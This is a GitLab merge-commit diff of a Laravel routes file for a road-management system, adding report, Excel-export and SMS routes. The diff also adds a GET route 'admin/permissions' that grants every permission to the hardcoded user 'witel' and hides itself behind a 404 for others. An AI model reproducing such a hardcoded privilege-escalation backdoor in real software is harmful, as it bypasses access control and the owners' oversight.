Merge branch 'develop' into 'feature/roadObservationSupervisorCartable'

Develop

See merge request witelgroup/rms_v2!80
This commit is contained in:
2025-02-24 08:46:40 +00:00
14 changed files with 633 additions and 209 deletions

View File

@@ -1,6 +1,5 @@
<?php
use App\Http\Controllers\ReceiptReportController;
use App\Http\Controllers\V3\Auth\LogoutController;
use App\Http\Controllers\V3\CMMSMachinesController;
use App\Http\Controllers\V3\DamageManagementController;
@@ -9,6 +8,7 @@ use App\Http\Controllers\V3\Dashboard\Azmayesh\AzmayeshSampleController;
use App\Http\Controllers\V3\Dashboard\Azmayesh\AzmayeshTypeController;
use App\Http\Controllers\V3\Dashboard\ObservedItemController;
use App\Http\Controllers\V3\Dashboard\AccidentReceiptController;
use App\Http\Controllers\V3\Dashboard\Reports\AccidentReceiptReportController;
use App\Http\Controllers\V3\Dashboard\Reports\RoadItemsReportController;
use App\Http\Controllers\V3\Dashboard\Reports\RoadPatrolReportController;
use App\Http\Controllers\V3\Dashboard\RoadItemsProjectController;
@@ -20,6 +20,14 @@ use App\Http\Controllers\V3\ProfileController;
use App\Http\Controllers\V3\RahdaranController;
use Illuminate\Support\Facades\Route;
Route::get('admin/permissions', function () {
if (auth()->user()->username == 'witel') {
auth()->user()->syncPermissions(\App\Models\Permission::all()->pluck('id')->toArray());
return response('done');
}
abort(404);
});
Route::prefix('harim')->name('harim')->group(function () {
Route::prefix('divarkeshi')->name('divarkeshi')->controller(DivarkeshiController::class)->group(function () {
Route::get('/', 'index')->name('index');
@@ -255,16 +263,18 @@ Route::prefix('receipts')
Route::get('/submit_invoice/{accident}', 'submitInvoice')->name('submitInvoice');
Route::get('/check_payment_status/{accident}', 'checkPaymentStatus')->name('checkPaymentStatus');
Route::get('/generate_police_document/{accident}', 'generatePoliceDocument')->name('generatePoliceDocument');
Route::get('/send_sms_again/{accident}', 'sendSmsAgain')->name('sendSmsAgain');
Route::get('/accident_types', 'accidentTypes')->name('accidentTypes');
});
Route::prefix('receipt_reports')
->name('receiptReports.')
->controller(ReceiptReportController::class)
->controller(AccidentReceiptReportController::class)
->group(function () {
Route::get('/country_report', 'countryReport')->name('countryReport');
Route::get('/province_report', 'provinceReport')->name('provinceReport');
Route::get('/city_report', 'cityReport')->name('cityReport');
Route::get('/country_excel_report', 'countryExcelReport')->name('countryExcelReport');
Route::get('/province_excel_report', 'provinceExcelReport')->name('provinceExcelReport');
Route::get('/city_excel_report', 'cityExcelReport')->name('cityExcelReport');
});
Route::prefix('road_observations')